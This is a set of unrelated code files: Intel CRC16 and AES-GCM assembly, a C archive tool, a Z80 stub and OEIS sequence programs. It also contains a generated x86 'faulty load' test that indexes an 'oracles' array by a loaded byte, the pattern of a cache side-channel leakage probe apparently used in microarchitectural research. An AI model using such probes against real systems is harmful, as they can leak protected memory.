; since we know that there was data before the pointer, we can offset the input pointer before the actual point, to receive exactly 16 bytes.
; after that the registers need to be adjusted.
_get_last_two_xmms:
movdqa xmm2, xmm7
movdqu xmm1, [arg2 - 16 + arg3]
pshufb xmm1, xmm11
; get rid of the extra data that was loaded before
; load the shift constant
lea rax, [pshufb_shf_table + 16]
sub rax, arg3
movdqu xmm0, [rax]
; shift xmm2 to the left by arg3 bytes
pshufb xmm2, xmm0
; shift xmm7 to the right by 16-arg3 bytes
pxor xmm0, [mask1]
pshufb xmm7, xmm0
pblendvb xmm1, xmm2 ;xmm0 is implicit
; fold 16 Bytes
movdqa xmm2, xmm1
movdqa xmm8, xmm7
pclmulqdq xmm7, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
pxor xmm7, xmm2
_128_done:
; compute crc of a 128-bit value
movdqa xmm10, [rk5] ; rk5 and rk6 in xmm10
movdqa xmm0, xmm7
;64b fold
pclmulqdq xmm7, xmm10, 0x1
pslldq xmm0, 8
pxor xmm7, xmm0
;32b fold
movdqa xmm0, xmm7
pand xmm0, [mask2]
psrldq xmm7, 12
pclmulqdq xmm7, xmm10, 0x10
pxor xmm7, xmm0
;barrett reduction
_barrett:
movdqa xmm10, [rk7] ; rk7 and rk8 in xmm10
movdqa xmm0, xmm7
pclmulqdq xmm7, xmm10, 0x01
pslldq xmm7, 4
pclmulqdq xmm7, xmm10, 0x11
pslldq xmm7, 4
pxor xmm7, xmm0
pextrd eax, xmm7,1
_cleanup:
; scale the result back to 16 bits
shr eax, 16
%ifidn __OUTPUT_FORMAT__, win64
movdqa xmm6, [rsp+16*2]
movdqa xmm7, [rsp+16*3]
movdqa xmm8, [rsp+16*4]
movdqa xmm9, [rsp+16*5]
movdqa xmm10, [rsp+16*6]
movdqa xmm11, [rsp+16*7]
movdqa xmm12, [rsp+16*8]
movdqa xmm13, [rsp+16*9]
%endif
add rsp, VARIABLE_OFFSET
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
align 16
_less_than_256:
; check if there is enough buffer to be able to fold 16B at a time
cmp arg3, 32
jl _less_than_32
movdqa xmm11, [SHUF_MASK]
; if there is, load the constants
movdqa xmm10, [rk1] ; rk1 and rk2 in xmm10
movd xmm0, arg1_low32 ; get the initial crc value
pslldq xmm0, 12 ; align it to its correct place
movdqu xmm7, [arg2] ; load the plaintext
pshufb xmm7, xmm11 ; byte-reflect the plaintext
pxor xmm7, xmm0
; update the buffer pointer
add arg2, 16
; update the counter. subtract 32 instead of 16 to save one instruction from the loop
sub arg3, 32
jmp _16B_reduction_loop
align 16
_less_than_32:
; mov initial crc to the return value. this is necessary for zero-length buffers.
mov eax, arg1_low32
test arg3, arg3
je _cleanup
movdqa xmm11, [SHUF_MASK]
movd xmm0, arg1_low32 ; get the initial crc value
pslldq xmm0, 12 ; align it to its correct place
cmp arg3, 16
je _exact_16_left
jl _less_than_16_left
movdqu xmm7, [arg2] ; load the plaintext
pshufb xmm7, xmm11 ; byte-reflect the plaintext
pxor xmm7, xmm0 ; xor the initial crc value
add arg2, 16
sub arg3, 16
movdqa xmm10, [rk1] ; rk1 and rk2 in xmm10
jmp _get_last_two_xmms
align 16
_less_than_16_left:
; use stack space to load data less than 16 bytes, zero-out the 16B in memory first.
pxor xmm1, xmm1
mov r11, rsp
movdqa [r11], xmm1
cmp arg3, 4
jl _only_less_than_4
; backup the counter value
mov r9, arg3
cmp arg3, 8
jl _less_than_8_left
; load 8 Bytes
mov rax, [arg2]
mov [r11], rax
add r11, 8
sub arg3, 8
add arg2, 8
_less_than_8_left:
cmp arg3, 4
jl _less_than_4_left
; load 4 Bytes
mov eax, [arg2]
mov [r11], eax
add r11, 4
sub arg3, 4
add arg2, 4
_less_than_4_left:
cmp arg3, 2
jl _less_than_2_left
; load 2 Bytes
mov ax, [arg2]
mov [r11], ax
add r11, 2
sub arg3, 2
add arg2, 2
_less_than_2_left:
cmp arg3, 1
jl _zero_left
; load 1 Byte
mov al, [arg2]
mov [r11], al
_zero_left:
movdqa xmm7, [rsp]
pshufb xmm7, xmm11
pxor xmm7, xmm0 ; xor the initial crc value
lea rax, [pshufb_shf_table + 16]
sub rax, r9
movdqu xmm0, [rax]
pxor xmm0, [mask1]
pshufb xmm7, xmm0
jmp _128_done
align 16
_exact_16_left:
movdqu xmm7, [arg2]
pshufb xmm7, xmm11
pxor xmm7, xmm0 ; xor the initial crc value
jmp _128_done
_only_less_than_4:
cmp arg3, 3
jl _only_less_than_3
; load 3 Bytes
mov al, [arg2]
mov [r11], al
mov al, [arg2+1]
mov [r11+1], al
mov al, [arg2+2]
mov [r11+2], al
movdqa xmm7, [rsp]
pshufb xmm7, xmm11
pxor xmm7, xmm0 ; xor the initial crc value
psrldq xmm7, 5
jmp _barrett
_only_less_than_3:
cmp arg3, 2
jl _only_less_than_2
; load 2 Bytes
mov al, [arg2]
mov [r11], al
mov al, [arg2+1]
mov [r11+1], al
movdqa xmm7, [rsp]
pshufb xmm7, xmm11
pxor xmm7, xmm0 ; xor the initial crc value
psrldq xmm7, 6
jmp _barrett
_only_less_than_2:
; load 1 Byte
mov al, [arg2]
mov [r11], al
movdqa xmm7, [rsp]
pshufb xmm7, xmm11
pxor xmm7, xmm0 ; xor the initial crc value
psrldq xmm7, 7
jmp _barrett
section .data
; precomputed constants
; these constants are precomputed from the poly: 0x8bb70000 (0x8bb7 scaled to 32 bits)
align 16
; Q = 0x18BB70000
; rk1 = 2^(32*3) mod Q << 32
; rk2 = 2^(32*5) mod Q << 32
; rk3 = 2^(32*15) mod Q << 32
; rk4 = 2^(32*17) mod Q << 32
; rk5 = 2^(32*3) mod Q << 32
; rk6 = 2^(32*2) mod Q << 32
; rk7 = floor(2^64/Q)
; rk8 = Q
rk1:
DQ 0x2d56000000000000
rk2:
DQ 0x06df000000000000
rk3:
DQ 0x9d9d000000000000
rk4:
DQ 0x7cf5000000000000
rk5:
DQ 0x2d56000000000000
rk6:
DQ 0x1368000000000000
rk7:
DQ 0x00000001f65a57f8
rk8:
DQ 0x000000018bb70000
rk9:
DQ 0xceae000000000000
rk10:
DQ 0xbfd6000000000000
rk11:
DQ 0x1e16000000000000
rk12:
DQ 0x713c000000000000
rk13:
DQ 0xf7f9000000000000
rk14:
DQ 0x80a6000000000000
rk15:
DQ 0x044c000000000000
rk16:
DQ 0xe658000000000000
rk17:
DQ 0xad18000000000000
rk18:
DQ 0xa497000000000000
rk19:
DQ 0x6ee3000000000000
rk20:
DQ 0xe7b5000000000000
mask1:
dq 0x8080808080808080, 0x8080808080808080
mask2:
dq 0xFFFFFFFFFFFFFFFF, 0x00000000FFFFFFFF
SHUF_MASK:
dq 0x08090A0B0C0D0E0F, 0x0001020304050607
pshufb_shf_table:
; use these values for shift constants for the pshufb instruction
; different alignments result in values as shown:
; dq 0x8887868584838281, 0x008f8e8d8c8b8a89 ; shl 15 (16-1) / shr1
; dq 0x8988878685848382, 0x01008f8e8d8c8b8a ; shl 14 (16-3) / shr2
; dq 0x8a89888786858483, 0x0201008f8e8d8c8b ; shl 13 (16-4) / shr3
; dq 0x8b8a898887868584, 0x030201008f8e8d8c ; shl 12 (16-4) / shr4
; dq 0x8c8b8a8988878685, 0x04030201008f8e8d ; shl 11 (16-5) / shr5
; dq 0x8d8c8b8a89888786, 0x0504030201008f8e ; shl 10 (16-6) / shr6
; dq 0x8e8d8c8b8a898887, 0x060504030201008f ; shl 9 (16-7) / shr7
; dq 0x8f8e8d8c8b8a8988, 0x0706050403020100 ; shl 8 (16-8) / shr8
; dq 0x008f8e8d8c8b8a89, 0x0807060504030201 ; shl 7 (16-9) / shr9
; dq 0x01008f8e8d8c8b8a, 0x0908070605040302 ; shl 6 (16-10) / shr10
; dq 0x0201008f8e8d8c8b, 0x0a09080706050403 ; shl 5 (16-11) / shr11
; dq 0x030201008f8e8d8c, 0x0b0a090807060504 ; shl 4 (16-12) / shr12
; dq 0x04030201008f8e8d, 0x0c0b0a0908070605 ; shl 3 (16-13) / shr13
; dq 0x0504030201008f8e, 0x0d0c0b0a09080706 ; shl 2 (16-14) / shr14
; dq 0x060504030201008f, 0x0e0d0c0b0a090807 ; shl 1 (16-15) / shr15
dq 0x8786858483828100, 0x8f8e8d8c8b8a8988
dq 0x0706050403020100, 0x000e0d0c0b0a0908
;;; func core, ver, snum
slversion crc16_t10dif_01, 01, 06, 0010
|
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include "mpak.h"
bool extract(char *mpak_name, char *directory) {
MPAK_FILE *mPakFile;
int i;
mPakFile = new MPAK_FILE();
mPakFile->init();
if(!mPakFile->open_mpk(MPAK_READ, mpak_name)) {
printf("Cannot open mpak file: %s\n", mpak_name);
return false;
}
for(i=0; i<mPakFile->num_files; i++){
mPakFile->extract_file(mPakFile->files[i], directory);
}
mPakFile->close_mpk();
return true;
}
bool add(char *mpak_name, char *files[], int first_file, int last_file) {
MPAK_FILE *mPakFile;
int i;
mPakFile = new MPAK_FILE();
mPakFile->init();
if(!mPakFile->open_mpk(MPAK_WRITE, mpak_name)) {
printf("Cannot open mpak file: %s\n", mpak_name);
return false;
}
for(i=first_file; i<=last_file; i++){
mPakFile->add_file(files[i]);
}
mPakFile->close_mpk();
return true;
}
int main(int argc, char *argv[]) {
char *operation;
if (argc < 2) {
printf("Not enough arguments\n");
return 1;
}
operation = argv[1];
if (strcmp(operation, "extract") == 0) {
if (argc < 4) {
printf("Not enough arguments\n");
return 1;
}
if (!extract(argv[2], argv[3])) {
printf("Extraction failed\n");
return 1;
}
} else if (strcmp(operation, "add") == 0) {
if (argc < 4) {
printf("Not enough arguments\n");
return 1;
}
add(argv[2], argv, 3, argc - 1);
} else {
printf("Unrecognized operation '%s'\n", operation);
return 1;
}
return 0;
} |
INCLUDE "romdefs.inc"
SECTION code_clib
GLOBAL _zx_rom_chan_open
_zx_rom_chan_open:
ld a, l
jp ROM3_CHAN_OPEN
|
; A131186: Period 12: repeat 0, 1, 2, 0, 2, 4, 0, 4, 3, 0, 3, 1.
; 0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0,2,4,0,4,3,0,3,1,0,1,2,0
seq $0,163271 ; Numerators of fractions in a 'zero-transform' approximation of sqrt(2) by means of a(n) = (a(n-1) + c)/(a(n-1) + 1) with c=2 and a(1)=0.
mod $0,10
div $0,2
|
; A105770: Expansion of (x^2-x+1)(4x^2+x+1) / ((1+x+x^2)(1-x)^3).
; 1,2,7,10,17,28,37,50,67,82,101,124,145,170,199,226,257,292,325,362,403,442,485,532,577,626,679,730,785,844,901,962,1027,1090,1157,1228,1297,1370,1447,1522,1601,1684,1765,1850,1939,2026,2117,2212,2305,2402,2503,2602,2705,2812,2917,3026,3139,3250,3365,3484,3601,3722,3847,3970,4097,4228,4357,4490,4627,4762,4901,5044,5185,5330,5479,5626,5777,5932,6085,6242,6403,6562,6725,6892,7057,7226,7399,7570,7745,7924,8101,8282,8467,8650,8837,9028,9217,9410,9607,9802,10001,10204,10405,10610,10819,11026,11237,11452,11665,11882,12103,12322,12545,12772,12997,13226,13459,13690,13925,14164,14401,14642,14887,15130,15377,15628,15877,16130,16387,16642,16901,17164,17425,17690,17959,18226,18497,18772,19045,19322,19603,19882,20165,20452,20737,21026,21319,21610,21905,22204,22501,22802,23107,23410,23717,24028,24337,24650,24967,25282,25601,25924,26245,26570,26899,27226,27557,27892,28225,28562,28903,29242,29585,29932,30277,30626,30979,31330,31685,32044,32401,32762,33127,33490,33857,34228,34597,34970,35347,35722,36101,36484,36865,37250,37639,38026,38417,38812,39205,39602,40003,40402,40805,41212,41617,42026,42439,42850,43265,43684,44101,44522,44947,45370,45797,46228,46657,47090,47527,47962,48401,48844,49285,49730,50179,50626,51077,51532,51985,52442,52903,53362,53825,54292,54757,55226,55699,56170,56645,57124,57601,58082,58567,59050,59537,60028,60517,61010,61507,62002
mov $2,$0
add $0,1
mov $1,$0
gcd $1,3
mov $3,$2
mul $3,$2
add $1,$3
|
; A185018: Inverse to sequence matrix for natural numbers.
; 1,-2,1,1,-2,1,0,1,-2,1,0,0,1,-2,1,0,0,0,1,-2,1,0,0,0,0,1,-2,1,0,0,0,0,0,1,-2,1,0,0,0,0,0,0,1,-2,1,0,0,0,0,0,0,0,1,-2,1,0,0,0,0,0,0,0,0,1,-2,1,0,0,0,0,0,0,0,0,0,1,-2,1,0,0,0,0,0,0,0,0,0,0,1,-2,1
cal $0,25669 ; Exponent of 7 (value of i) in n-th number of form 7^i*8^j.
add $1,$0
sub $1,3
bin $1,$0
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xfb40, %r10
cmp $18868, %rbx
movw $0x6162, (%r10)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0x11190, %rsi
lea addresses_normal_ht+0xa10, %rdi
add $35607, %r15
mov $18, %rcx
rep movsq
xor %rsi, %rsi
lea addresses_UC_ht+0x2c10, %rsi
lea addresses_A_ht+0x115de, %rdi
nop
nop
nop
mfence
mov $34, %rcx
rep movsb
nop
nop
nop
nop
add %r10, %r10
lea addresses_D_ht+0x8710, %rbp
and $18828, %rsi
movb $0x61, (%rbp)
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x1d0e3, %rsi
nop
nop
nop
nop
nop
add %rdi, %rdi
mov $0x6162636465666768, %r15
movq %r15, %xmm7
movups %xmm7, (%rsi)
nop
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r15
push %rbx
// Faulty Load
lea addresses_A+0x11610, %r14
nop
nop
nop
nop
xor %r13, %r13
vmovups (%r14), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r15
lea oracles, %rbx
and $0xff, %r15
shlq $12, %r15
mov (%rbx,%r15,1), %r15
pop %rbx
pop %r15
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2018 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Authors:
; Erdinc Ozturk
; Vinodh Gopal
; James Guilford
;
;
; References:
; This code was derived and highly optimized from the code described in paper:
; Vinodh Gopal et. al. Optimized Galois-Counter-Mode Implementation on Intel Architecture Processors. August, 2010
;
; For the shift-based reductions used in this code, we used the method described in paper:
; Shay Gueron, Michael E. Kounavis. Intel Carry-Less Multiplication Instruction and its Usage for Computing the GCM Mode. January, 2010.
;
;
;
;
; Assumptions:
;
;
;
; iv:
; 0 1 2 3
; 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | Salt (From the SA) |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | Initialization Vector |
; | (This is the sequence number from IPSec header) |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | 0x1 |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
;
;
;
; AAD:
; AAD will be padded with 0 to the next 16byte multiple
; for example, assume AAD is a u32 vector
;
; if AAD is 8 bytes:
; AAD[3] = {A0, A1};
; padded AAD in xmm register = {A1 A0 0 0}
;
; 0 1 2 3
; 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | SPI (A1) |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | 32-bit Sequence Number (A0) |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | 0x0 |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
;
; AAD Format with 32-bit Sequence Number
;
; if AAD is 12 bytes:
; AAD[3] = {A0, A1, A2};
; padded AAD in xmm register = {A2 A1 A0 0}
;
; 0 1 2 3
; 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | SPI (A2) |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | 64-bit Extended Sequence Number {A1,A0} |
; | |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; | 0x0 |
; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
;
; AAD Format with 64-bit Extended Sequence Number
;
;
; aadLen:
; Must be a multiple of 4 bytes and from the definition of the spec.
; The code additionally supports any aadLen length.
;
; TLen:
; from the definition of the spec, TLen can only be 8, 12 or 16 bytes.
;
; poly = x^128 + x^127 + x^126 + x^121 + 1
; throughout the code, one tab and two tab indentations are used. one tab is for GHASH part, two tabs is for AES part.
;
%include "os.asm"
%include "reg_sizes.asm"
%include "gcm_defines.asm"
%include "memcpy.asm"
%ifndef GCM128_MODE
%ifndef GCM192_MODE
%ifndef GCM256_MODE
%error "No GCM mode selected for gcm_avx_gen2.asm!"
%endif
%endif
%endif
%ifdef GCM128_MODE
%define FN_NAME(x,y) aes_gcm_ %+ x %+ _128 %+ y %+ avx_gen2
%define NROUNDS 9
%endif
%ifdef GCM192_MODE
%define FN_NAME(x,y) aes_gcm_ %+ x %+ _192 %+ y %+ avx_gen2
%define NROUNDS 11
%endif
%ifdef GCM256_MODE
%define FN_NAME(x,y) aes_gcm_ %+ x %+ _256 %+ y %+ avx_gen2
%define NROUNDS 13
%endif
default rel
; need to push 4 registers into stack to maintain
%define STACK_OFFSET 8*4
%define TMP2 16*0 ; Temporary storage for AES State 2 (State 1 is stored in an XMM register)
%define TMP3 16*1 ; Temporary storage for AES State 3
%define TMP4 16*2 ; Temporary storage for AES State 4
%define TMP5 16*3 ; Temporary storage for AES State 5
%define TMP6 16*4 ; Temporary storage for AES State 6
%define TMP7 16*5 ; Temporary storage for AES State 7
%define TMP8 16*6 ; Temporary storage for AES State 8
%define LOCAL_STORAGE 16*7
%ifidn __OUTPUT_FORMAT__, win64
%define XMM_STORAGE 16*10
%else
%define XMM_STORAGE 0
%endif
%define VARIABLE_OFFSET LOCAL_STORAGE + XMM_STORAGE
section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Utility Macros
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GHASH_MUL MACRO to implement: Data*HashKey mod (128,127,126,121,0)
; Input: A and B (128-bits each, bit-reflected)
; Output: C = A*B*x mod poly, (i.e. >>1 )
; To compute GH = GH*HashKey mod poly, give HK = HashKey<<1 mod poly as input
; GH = GH * HK * x mod poly which is equivalent to GH*HashKey mod poly.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro GHASH_MUL 7
%define %%GH %1 ; 16 Bytes
%define %%HK %2 ; 16 Bytes
%define %%T1 %3
%define %%T2 %4
%define %%T3 %5
%define %%T4 %6
%define %%T5 %7
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Karatsuba
vpshufd %%T2, %%GH, 01001110b
vpshufd %%T3, %%HK, 01001110b
vpxor %%T2, %%T2, %%GH ; %%T2 = (a1+a0)
vpxor %%T3, %%T3, %%HK ; %%T3 = (b1+b0)
vpclmulqdq %%T1, %%GH, %%HK, 0x11 ; %%T1 = a1*b1
vpclmulqdq %%GH, %%HK, 0x00 ; %%GH = a0*b0
vpclmulqdq %%T2, %%T3, 0x00 ; %%T2 = (a1+a0)*(b1+b0)
vpxor %%T2, %%T2, %%GH
vpxor %%T2, %%T2, %%T1 ; %%T2 = a0*b1+a1*b0
vpslldq %%T3, %%T2, 8 ; shift-L %%T3 2 DWs
vpsrldq %%T2, %%T2, 8 ; shift-R %%T2 2 DWs
vpxor %%GH, %%GH, %%T3
vpxor %%T1, %%T1, %%T2 ; <%%T1:%%GH> = %%GH x %%HK
;first phase of the reduction
vpslld %%T2, %%GH, 31 ; packed right shifting << 31
vpslld %%T3, %%GH, 30 ; packed right shifting shift << 30
vpslld %%T4, %%GH, 25 ; packed right shifting shift << 25
vpxor %%T2, %%T2, %%T3 ; xor the shifted versions
vpxor %%T2, %%T2, %%T4
vpsrldq %%T5, %%T2, 4 ; shift-R %%T5 1 DW
vpslldq %%T2, %%T2, 12 ; shift-L %%T2 3 DWs
vpxor %%GH, %%GH, %%T2 ; first phase of the reduction complete
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;second phase of the reduction
vpsrld %%T2,%%GH,1 ; packed left shifting >> 1
vpsrld %%T3,%%GH,2 ; packed left shifting >> 2
vpsrld %%T4,%%GH,7 ; packed left shifting >> 7
